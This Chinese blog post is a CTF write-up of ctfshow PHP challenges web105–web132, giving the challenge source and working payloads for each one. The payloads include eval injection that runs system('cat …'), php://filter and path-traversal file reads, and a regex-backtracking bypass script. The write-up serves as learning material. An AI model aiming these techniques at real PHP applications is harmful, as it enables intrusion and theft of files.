当前位置:首页 » 《资源分享》 » 正文

ctfshow web入门 PHP特性中篇(web105-web132)_ccfly1012的博客

16 人参与  2021年10月13日 11:23  分类 : 《资源分享》  评论

点击全文阅读


目录

web105

web106

web107

web108

web109

web110

web111

web112

web113

web114

web115

web123

web125

web126

web127

web128

web129

web130

web131

web132


web105

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07
​
*/
​
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
​
?>

你还想要flag嘛?
 

hint中的解法

GET:?suces=flag POST:error=suces

首先一段一段的看代码

第一段

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}

说的是,我们GET传参,传入的值不能为error

第二段

foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}

post传入参数,传入的值不能为flag

第三段

if(!($_POST['flag']==$flag)){
    die($error);
}

POST传入的值不为变量flag,则输出变量error

GET:?a=flag
POST:error=a

先将flag的值赋给a,然后再赋值给error,利用die()函数输出

web106

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27
​
*/
​
​
highlight_file(__FILE__);
include("flag.php");
​
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
​
​
​
?>

数组绕过就可

GET:?v2[]=1
POST:v1[]=2

web107

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14
​
*/
​
​
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
​
}
​
​
​
?>

parse_str()函数

parse_str(string,array)
把查询字符串解析到变量中。
string必选。规定要解析的字符串
array可选。规定存储变量的数组的名称。

很明显,题目要将v1的值赋给v2,然后v3的md5等于v2输出flag

payload:

GET:?v3=a //a可以为任意字符
POST:v1=flag=0cc175b9c0f1b6a831c399e269772661 //a的md5值
md5无法解析数组
GET:?v3[]=1
POST:v1="flag=0"

web108

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55
​
*/
​
​
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
​
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
​
?> 

ereg函数为匹配函数

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
​
}
GET参数c要只能为字母,否则die函数
函数在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

后一段

if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

strrev函数

函数反转字符串

正常的话,想要形成的

877%00a

再进行反转,a正好匹配了ereg函数

a%00778

web109

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34
​
*/
​
​
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
​
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
​
}
​
?>

可以直接构造反射类

?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("cat fl36dg.txt")

?v1=Exception&v2=system('cat fl36dg.txt')

web110

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10
​
*/
​
​
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
​
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
​
    eval("echo new $v1($v2());");
​
}
​
?>

payload

?v1=FilesystemIterator&v2=getcwd

原理:

FilesystemIterator
获取指定目录下的所有文件

getcwd()函数
获取当前工作目录,返回当前目录

web111

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40
​
*/
​
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
​
​
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
​
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
​
    
​
​
}
​
?>

这个地方用到了全局变量

$GLOBALS

payload:

?v1=ctfshow&v2=GLOBALS

因为要执行这一段函数,所有v1要为ctfshow

if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag

web112

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49
​
*/
​
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

直接用伪协议读就可,但是要注意base64被禁了

?file=php://filter/resource=flag.php

hint上的其他方法

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52
​
*/
​
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

禁的东西好多了,可以使用上一题的一个payload

compress.zlib://flag.php

也可使用预期解

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

这个题compress,和非预期都被禁了,但是伪协议放出来了,可以直接使用伪协议读

?file=php://filter/resource=flag.php

web115

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19
​
*/
​
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

考察的内容:

trim函数的绕过+is_numeric绕过

语法:
trim(string,charlist)
​
string  必需:规定检查的字符串
charlist 可选规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
 
"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

做个测试

<?php
for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
?>

可以用到只要%0c(换页符)了

payload:

num=%0c36

web123

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

一个难点

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

PHP变量名由数字字母下划线组成,是没有.的

注:

GET或POST的方式传进去的变量名,会自动将空格 + . [ 转换为_

payoload:

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

payload

GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

payload

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49
​
*/
​
​
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
​
​
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
​
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
​
​
if($ctf_show==='ilove36d'){
    echo $flag;
} 

过滤掉了_,绕过的方式还是同web123

payload

?ctf show=ilove36d

web128

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05
​
*/
​
​
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
​
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
​
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
​
​
​
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

call_user_func函数

call_user_func — 把第一个参数作为回调函数调用

gettext函数

在开启该拓展后_()等效于gettext()
​
<?php
echo gettext("phpinfo");
结构 phpinfo
​
echo _("phpinfo")
结构phpinfo

call_user_func('_','phpinfo')相当于gettext("phpinfo")

get_defined_vars

函数返回由所有已定义变量所组成的数组。

payload

?f1=_&f2=get_defined_vars

web129

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40
​
*/
​
​
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 

stripos函数

stripos(string,find,start)
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始

get传参f,如果f中有ctfshow,则执行readfile函数

payload:

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

web130

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40
​
*/
​
​
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
​
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
​
    echo $flag;
​
}

正则最大回溯次数绕过

PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种
贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。
非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生

py脚本

import requests
url="http://07b28eb7-15d4-4250-be72-33a58b73dba1.chall.ctf.show/"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }

.表示任意单个字符,+表示必须匹配1次或多次,所有在ctfshow前面必须有至少一个字符才会返回True

还有

payload:

f=ctfshow
f[]=a

web131

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40
​
*/
​
​
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
​
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
​
    echo $flag;
​
}

内容基本同上一题,但是我还是没有做出来,看了别人的脚本,出来了

脚本奉上

import requests
​
if __name__ == '__main__':
​
    url = 'http://2e7bb354-4be0-4a62-b864-6bd69a4a58b1.challenge.ctf.show:8080/'
    high = 1000000
    low = 100000
    while True:
        mid = int((high + low) / 2)
        data = {
            'f': 'haha' * mid + '36Dctfshow'
        }
        r = requests.post(url=url, data=data)
        if 'ctfshow{' in r.text:
            print(r.text)
            break
        elif 'Too Large' in r.text:
            high = mid
        elif 'bye' in r.text:
            low = mid

web132

打开题目是一个页面,robots.txt,发现有一个/admin路径,但是单纯打/admin路径是报404的,在后面再加上index.php

可以找到源码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
​
​
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
​
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

这一题的主要的地方就在if语句那

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

mt_rand()函数

用于生成随机数

经过判断

<?php
if(false && false || true){
echo 123
}

注:

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕过

所以payload:

?code=admin&passwodr=1&username=admin


点击全文阅读


本文链接:http://zhangshiyu.com/post/29848.html

函数  匹配  字符串  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1